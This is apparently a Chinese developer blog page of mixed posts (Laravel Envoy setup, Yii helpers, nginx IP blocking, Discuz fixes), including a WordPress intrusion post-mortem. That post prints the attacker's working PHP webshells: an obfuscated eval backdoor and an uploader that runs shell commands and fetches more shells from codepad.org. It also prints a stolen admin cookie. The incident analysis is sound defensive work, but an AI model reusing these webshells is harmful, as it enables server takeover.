//安装Composer
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
//将Composer配置给所有用户
composer global require "laravel/installer"

//安装Laravel Envoy
composer global require "laravel/envoy=~1.0"
//将bin放入当前用户Path
echo 'export PATH="$PATH:$HOME/.composer/vendor/bin"' >> ~/.bashrc
//导入,免登出
source ~/.bashrc
//添加larvel执行权限
chmod +x /root/.composer/vendor/laravel/installer/laravel
//添加envoy执行权限
chomp +x /root/.composer/vendor/laravel/envoy/envoy

注意:

这里需要proc_open支持所以你查看是否支持

/usr/local/php/etc/php.ini

//删除
disable_functions中

proc_open proc_status

使用Envoy创建任务

envoy init gb@192.168.10.10
Envoy file created!

会生成文件:

Envoy.blade.php

文件内容编辑成如:

  vim Envoy.blade.php

@servers(['web' => 'gb@192.168.10.10 -p 70011'])

@task('deploy')
    cd /home/backup
    echo "asdasdas" >> 1.log
@endtask

执行Envoy

envoy run deploy

多服器配置运行:

@servers(['web-1' => '192.168.1.1', 'web-2' => '192.168.1.2'])

@task('deploy', ['on' => ['web-1', 'web-2']])
    cd site
    git pull origin {{ $branch }}
    php artisan migrate
@endtask

更多阅读:

160317 Yiihost信息获取

张 清月阅读(1195)

  • 假设域名为

    http://www.bee.com/index.php?r=plan/index
    
  • 获取域名

    Yii::app()->request->hostInfo;
    http://www.bee.com
    
  • 获取当前URL

    Yii::app()->request->getUrl();
    /index.php?r=/plan/index
    
  • 获取(除域名外的)首页地址

    Yii::app()->user->returnUrl;
    /
    
  • 获取(除域名外的)根目录地址

    Yii::app()->homeUrl;
    /index.php
    
  • 获取请求的相对路径

    Yii::app()->request->baseUrl;
    
  • 获取网站根目录相对地址

    Yii::app()->baseUrl;
    
  • Yii获取IP地址

    Yii::app()->request->userHostAddress;
    127.0.0.1
    
  • Yii判断提交方式

    Yii::app()->request-isPostRequest
    
  • proteced目录的物理路径

    Yii::app()->basePath;
    /Users/aj/Bee/protected
    
  • 获取上一页的url以返回

    Yii::app()->request->urlReferrer;
    
  • 获取当前控制器ID

    Yii::app()->getController()->getAction()->id;
    plan
    
  • 项目路径

    dirname(Yii::app()->BasePath);
    /Users/aj/Bee/
    
  • Yii获取get,post过来的数据

    Yii::app()->request->getParam('id');
    
  • Yii如何设置时区

    可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区
    
  • 防止重复提交

    Ccontroler->refresh();
    
  • demo代码

    echo "获取域名";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->hostInfo;";
    echo PHP_EOL;
    echo Yii::app()->request->hostInfo;
    echo PHP_EOL;
    
    
    echo "获取当前URL";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->getUrl();";
    echo Yii::app()->request->getUrl();
    echo PHP_EOL;
    
    
    echo "获取(除域名外的)首页地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->user->returnUrl;";
    echo PHP_EOL;
    echo Yii::app()->user->returnUrl;
    echo PHP_EOL;
    
    
    echo "获取(除域名外的)根目录地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->homeUrl;";
    echo PHP_EOL;
    echo Yii::app()->homeUrl;
    echo PHP_EOL;
    
    
    echo "获取请求的相对路径";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->request->baseUrl;
    echo PHP_EOL;
    
    
    echo "获取网站根目录相对地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->baseUrl;
    
    
    echo PHP_EOL;
    
    
    echo "YII获取 IP地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->userHostAddress;";
    echo PHP_EOL;
    echo Yii::app()->request->userHostAddress;
    
    
    echo PHP_EOL;
    
    
    echo "Yii判断提交方式";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request-isPostRequest";
    echo PHP_EOL;
    
    
    echo "proteced目录的物理路径";
    echo PHP_EOL;
    
    
    echo "Yii::app()->basePath;";
    echo PHP_EOL;
    echo Yii::app()->basePath;
    echo PHP_EOL;
    
    
    echo "获取上一页的url以返回";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->urlReferrer;";
    echo PHP_EOL;
    echo Yii::app()->request->urlReferrer;
    echo PHP_EOL;
    
    
    echo "获取当前控制器ID";
    echo PHP_EOL;
    
    
    echo "Yii::app()->getController()->getAction()->id;";
    echo PHP_EOL;
    echo Yii::app()->getController()->getAction()->id;
    echo PHP_EOL;
    
    
    echo "项目路径";
    echo PHP_EOL;
    
    
    echo "dirname(Yii::app()->BasePath);";
    echo PHP_EOL;
    echo dirname(Yii::app()->BasePath);
    echo PHP_EOL;
    
    
    echo "Yii获取get,post过来的数据";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->getParam('id');";
    echo PHP_EOL;
    echo Yii::app()->request->getParam('id');
    echo PHP_EOL;
    
    
    echo "Yii如何设置时区";
    echo PHP_EOL;
    
    
    echo "可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区";
    echo PHP_EOL;
    
    
    echo "防止重复提交";
    echo PHP_EOL;
    
    
    echo "Ccontroler->refresh();";
    

151209 nginx动态添加ip黑名单

张 清月阅读(1897)

Nginx

早上起来服务访问报警,查了下log,一个俄罗斯ip不停的更换user-agent来访问某站,导致FPM进程数过多。

查了下阿里云的安全卫士,竟然没有添加黑名单功能。对于iptables一直是懵懂状态,so 只能从代码或者nginx添加黑名单功能。

PHP代码级别的就非常简单了:

if($_SERVER['REMOTE_ADDR'] == "xx.xx.xx.xx"){   
    exit();  
}

代码从网上看到的不太对,稍微调整了下,目前已经可以使用代码
在下面贴出来:

#!/bin/bash
tail -n50 /home/wwwlogs/access.log |
awk '{print $1,$7,$9}' |
grep -i -v -E "googleyahoobaidumsnbotFeedSkysogou360bingsoso403api" |
awk '{print $1}' |  sort | uniq -c | sort -rn |
awk '{if($1>5)print "deny "$2";"}' > /usr/local/nginx/conf/vhost/blockip.conf
/usr/local/nginx/sbin/nginx -s reload

Crontab中添加锁定时间

0,30 0-23 * * * /bin/bash /root/blockip.sh

原文链接:

http://www.lxway.com/1468096.htm

当然本身nginx的通过ngxhttplimit_req可以用来做动态黑名单功能,实现方法:

https://github.com/codehunte/ngxwhiteblacklist/blob/master/whiteblack_list.txt

151110 服务器入侵复盘

张 清月阅读(1423)

互联网的黑客人事是越来越专业了,尽可能的数据挖掘,历史追溯,去寻找你的漏洞。前2天的草榴,前段时间的网易,总之人在互联网总会被挨刀。废话多了看文章。

大概过程:

黑客通过网易密码泄露中的邮箱,并且查阅相关邮件内容,得知某站存在,遂重置密码,登录后台,上传插件,激活木马。

总结:

互联网的每一个大事件其实都有可能跟你息息相关。

中午14点多收到阿里云短信服务器有密码并且隔离了,遂登录阿里云查看

木马文件:

wp-includes/media-bak.php

看了下创建时间 14:10

木马内容

    $qV = "stop_";
    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
    if (isset(${$s20}['dak'])) {
        eval(${$s20}['dak']);
    }

    //一句话木马 $_POST['dak']

根据木马文件访问查看黑客访问相关信息

    cat www.80aj.com.log | grep '10/Nov/2015' | grep php | grep 200 | awk '{print $1"\t"$4$5"\t"$9"\t"$6"\t"$7}' | grep php 

    173.252.193.210 [10/Nov/2015:14:09:59+0800] 200 "GET    /wp-login.php?redirect_to=http%3A%2F%2Fwww.80aj.com%2Fwp-admin%2F&reauth=1
    173.252.193.210 [10/Nov/2015:14:10:01+0800] 200 "GET    /wp-admin/plugin-install.php?tab=upload
    173.252.193.210 [10/Nov/2015:14:10:04+0800] 200 "POST   /wp-admin/update.php?action=upload-plugin
    173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "GET    /wp-content/uploads/2015/11/1447135650.php?test=1
    173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "POST   /wp-content/uploads/2015/11/1447135650.php
    173.252.193.210 [10/Nov/2015:14:10:06+0800] 200 "POST   /wp-includes/media-bak.php
    173.252.193.210 [10/Nov/2015:14:10:07+0800] 200 "GET    /wp-includes/class-wp-upgrade.php

进入 wp-content/uploads/2015/11/ 发现文件xx.php,文件大概思路受访请求带上test会主动在wp-include目录下载3个文件,内容来自 codepad.org 在线代码调试网站

    if(isset($_GET['test']) && $_GET['test']){
        echo 261000;
    //    $PHP_SELF = basename(__FILE__);
    //    rename($PHP_SELF,'new_'.$PHP_SELF);
    }elseif(isset($_GET['info']) && $_GET['info']){
        echo phpinfo();
    }elseif(isset($_GET['eval']) && $_GET['eval']){
        $qV = "stop_";
        $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
        if (isset(${$s20}['dak'])) {
            eval(${$s20}['dak']);
        }
    }elseif(isset($_GET['go']) && $_GET['go']){
        $n = substr_count(substr(dirname(__FILE__),intval(strpos(dirname(__FILE__),'wp-content'))), "/");
        $path_pre = str_repeat('../',$n+1);
        $in_path = $path_pre.'wp-includes/';
        if(@file_put_contents($in_path.'media-bak.php',@file_get_contents('http://codepad.org/Uk6hqTZe/raw.php'))){
            echo '|YS[dak]';
        }else{
            echo '|YF';
        }
        if(@file_put_contents($in_path.'class-wp-upgrade.php',@file_get_contents('http://codepad.org/v6xhqhy7/raw.php'))){
            echo '|DS[wso]';
        }else{
            echo '|DF';
        }
        if(@file_put_contents($in_path.'class-wp-upload.php',@file_get_contents('http://codepad.org/ZSvhCPZE/raw.php'))){
            echo '|XS';
        }else{
            echo '|XF';
        }
    }else{
        $path = isset($_POST['path'])?$_POST['path']:dirname(__FILE__);
        if($_POST['url']){
            foreach($_POST['url'] as $url){
                $filename = $url['name'];
    //            $link = $url['link'];
                $con = $url['con'];
                if($a = @file_put_contents($path.$filename,base64_decode($con))){
                    echo '|'.$filename.' success';
                }else{
                    if($a = @file_put_contents($filename,base64_decode($con))){
                        echo '|ThisPath-'.$filename.' success';
                    }else{
                        echo '|'.$filename.' fail';
                    }
    //                echo '|'.$filename.' fail';
                }
            }
            $PHP_SELF = basename(__FILE__);
            rename($PHP_SELF,'new_up.php');
        }else{
            $c=$_GET['cmd'];
            system($c);
            $p=$_SERVER["DOCUMENT_ROOT"];
            $yoco=dirname(__FILE__);
            echo <<<HTML
        <form enctype="multipart/form-data"  method="POST">
        Path:$p<br>
        <input name="file" type="file"><br>
        Ŀ��:<br>
        <input size="48" value="$yoco/" name="pt" type="text"><br>
        <input type="submit" value="Upload">
        $tend
    HTML;
            if (isset($_POST["pt"])){
                $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
                if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
                if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
                    echo"uploaded:$uploadfilen";
                    echo"Size:".$_FILES["file"]["size"]."n";
                }else {
                    print "Error:n";
                }
            }
        }
    }

其次 class-wp-upgrade.php 这个文件会获取用户请求的各种cookie,伪装成error_log去获取更多的cookie

发现其中有一条内容为 :

    ["wordpress_logged_in_42b76570a501a4b13a26d8fda417c568"]=>
      string(126) "weiwei|1447308597|3pnLyBYybwZbhNuW2eIegvzYJz79s2rkZx4zaIm7PTq|d667fceecc9ab854fffa28bcb8cde9ea3eca0e38c421becee0f7dba0cc8899bf"

这个是我多年前同事的账号给,并且是admin权限,xxx@126.com ,just soso 太搞了。 荆轲刺秦王

150722 强健WordPress体魄

张 清月阅读(1381)

WordPress(下面简称WP)建博客好多年,被黑的次数是数不过来了,每次的反查累的要命,因为黑客的入侵总让你摸不着头脑,如何避免或者快速清除木马是必须学会的。

好心人A

WP在这个互联网上存在着,总是那么摇摆不定,天天被各种好心人扫描,时不时的断档。真心纠结啊,这不今天凌晨又来了一波,这是在提醒我们时刻要更新啊

59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/front-file-manager/upload.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php

好心人B

好心人不停的往你服务器POST,POST,POST,丝毫不遮掩,好像你是赤裸着躺在他面前,肆无忌惮啊

211.44.4.145    [21/Jul/2015:11:35:03+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:06+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:07+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:11+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:55+0800] "GET    /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:11:35:58+0800] "GET    /shoesxz/up.php
211.44.4.145    [21/Jul/2015:11:36:02+0800] "GET    /shoesonlx/upload.php
211.44.4.145    [21/Jul/2015:11:36:06+0800] "GET    /shoesxz/upload.php
211.44.4.145    [21/Jul/2015:13:54:42+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:46+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:52+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:53+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesxz/up.php

定位特洛伊

长期保留服务器访问日志,至少一个月,这样可以快速的定位,还原黑客入侵的过程

处理思路:

  1. 查看日志排查访问过木马的IP,并且提取
  2. 根据提取的IP顺藤摸瓜拿到所有的被访问过的文件
  3. 打开所有被好心人访问过的文件,查看相关代码是否有hackshell之类相关内容,如果有则纪录木马关键字
  4. 根据特征字全目录扫描,然后进行删除
  5. 将WP升级至最新版,或者直接下载最新版本整个目录替换

我们得自己健壮

长期的缺管,主要是没什么好写的,小学语文水平,尤其是购买Evernote高级会员以后,看到的好文章都直接通过摘录放到笔记里去了,所以导致了博客几乎名存实亡的感觉,虽然亡了但也要活着啊,特别是技术人员指望着这个博客找工作的说

人比较懒具体健壮操作方式,直接在这里罗列相关文章,自己看着办吧

  1. 自动更新
  2. 修改后台地址
  3. 加固你的WP
  4. 2013年WP漏洞扫描PHP版
  5. exploit-db
  6. Linux系统防CC攻击自动拉黑IP增强版Shell脚本
  7. Linux安全之PHP木马查杀与防范
  8. WP安全设置技巧
  9. 添加IP访问限制

150707 discuz百度分享图片添加

张 清月阅读(931)

继上次 jiathis分享图片问题后,这次需求方又要求改成百度分享,总之程序员么,就是各种解了。 上次地址: discuz jiathis分享图片修改 同样的文件:template/default/forum/viewthread_node.htm 添加如下代码即可解决:

  //找到 aimgcount[{$post[pid]}] = [<!--{echo dimplode($aimgs[$post[pid]]);}-->]; 上方添加 

  <!--{if $threadattachmenturl != null}-->
  window._bd_share_config = { "common": { 
  "bdSnsKey": {}, 
  "bdText": "", 
  "bdMini": "2", 
  "bdMiniList": false, 
  "bdPic": "{echo $threadattachmenturl[0];}",
  "bdStyle": "0", "bdSize": "16" },
  "share": {} 
  }; 
  <!--{/if}--> 

150618 Discuz屏蔽插件安装后删除xml文件

张 清月阅读(915)

插件安装后Discuz会删除Xml文件

当你通过Discuz后台云系统安装完插件以后,系统会调用 source/admincp/admincp_plugins.php 文件进行删除相关的语言安装XML. 我们需要做如下修改进行保留:

//中425行注释即可 
//cloudaddons_clear('plugin', $dir);

//实际函数实现内容
function cloudaddons_clear($type, $id)
{
    global $_G;
    if (isset($_G['config']['plugindeveloper']) && $_G['config']['plugindeveloper'] > 0) {
        return;
    }
    $dirs = array('plugin' => array('plugin', './source/plugin/'), 'template' => array('style', './template/'));
    if ($dirs[$type] && cloudaddons_getmd5($id . '.' . $type)) {
        $entrydir = DISCUZ_ROOT . $dirs[$type][1] . $id;
        $d = dir($entrydir);
        $filedeleted = false;
        while ($f = $d->read()) {
            if (preg_match('/^discuz\_' . $dirs[$type][0] . '\_' . $id . '(\_\w+)?\.xml$/', $f)) {
                @unlink($entrydir . '/' . $f);
                if ($type == 'plugin' && !$filedeleted) {
                    @unlink($entrydir . '/' . $f);
                    $importtxt = @implode('', file($entrydir . '/' . $f));
                    $pluginarray = getimportdata('Discuz! Plugin');
                    if ($pluginarray['installfile']) {
                        @unlink($entrydir . '/' . $pluginarray['installfile']);
                    }
                    if ($pluginarray['upgradefile']) {
                        @unlink($entrydir . '/' . $pluginarray['upgradefile']);
                    }
                    $filedeleted = true;
                }
            }
        }
    }
}

Discuz开启注册表单更多选项后,用户注册依然可以乱填(性别依然为空)

看了下代码这真心的让人很无语

 //source/function/function_profile.php function profile_check 
 //214行 
 if(in_array($fieldid, array('birthday', 'birthmonth', 'birthyear', 'gender'))) { 
    $value = intval($value); return true; 
 } elseif(in_array($fieldid, array('birthprovince', 'birthcity', 'birthdist', 'birthcommunity', 'resideprovince', 'residecity', 'residedist', 'residecommunity'))) {
    $value = getstr($value); 
    return true; 
 } 

Discuz! X3.2 R20150609 发布,但没有走后台通知更新发布功能

补丁包下载(适合 X3.2 任意版本):

简体中文 GBK http://download.comsenz.com/DiscuzX/3.2/patch/DX32R20150609SCGBK.zip
繁体中文 BIG5 http://download.comsenz.com/DiscuzX/3.2/patch/DX32
R20150609TCBIG5.zip
简体 UTF8 http://download.comsenz.com/DiscuzX/3.2/patch/DX32R20150609SCUTF8.zip
繁体 UTF8 http://download.comsenz.com/DiscuzX/3.2/patch/DX32
R20150609TCUTF8.zip  

升级方法:

  1. 根据原有的语言版本下载升级包 
  2. 解压缩, 将目录中的文件上传至服务器, 覆盖旧文件 
  3. 使用创始人身份进入后台更新缓存 更新记录 

150403 Ci框架中language重新加载配置文件

张 清月阅读(698)

Ci加载一种语言配置文件后再加载另外一个是无效的,如何重载呢?

$this->lang->is_loaded = array();
$this->lang->language = array();

//或者

if (isset ( $this->lang->is_loaded )) {
    for($i = 0; $i <= sizeof ( $this->lang->is_loaded ); $i ++) {
        unset ( $this->lang->is_loaded [$i] );
    }
}

From:
http://stackoverflow.com/questions/7563390/codeigniter-change-loaded-language

密码保护:秘密

admin阅读(1680)

这是一篇受密码保护的文章,您需要提供访问密码: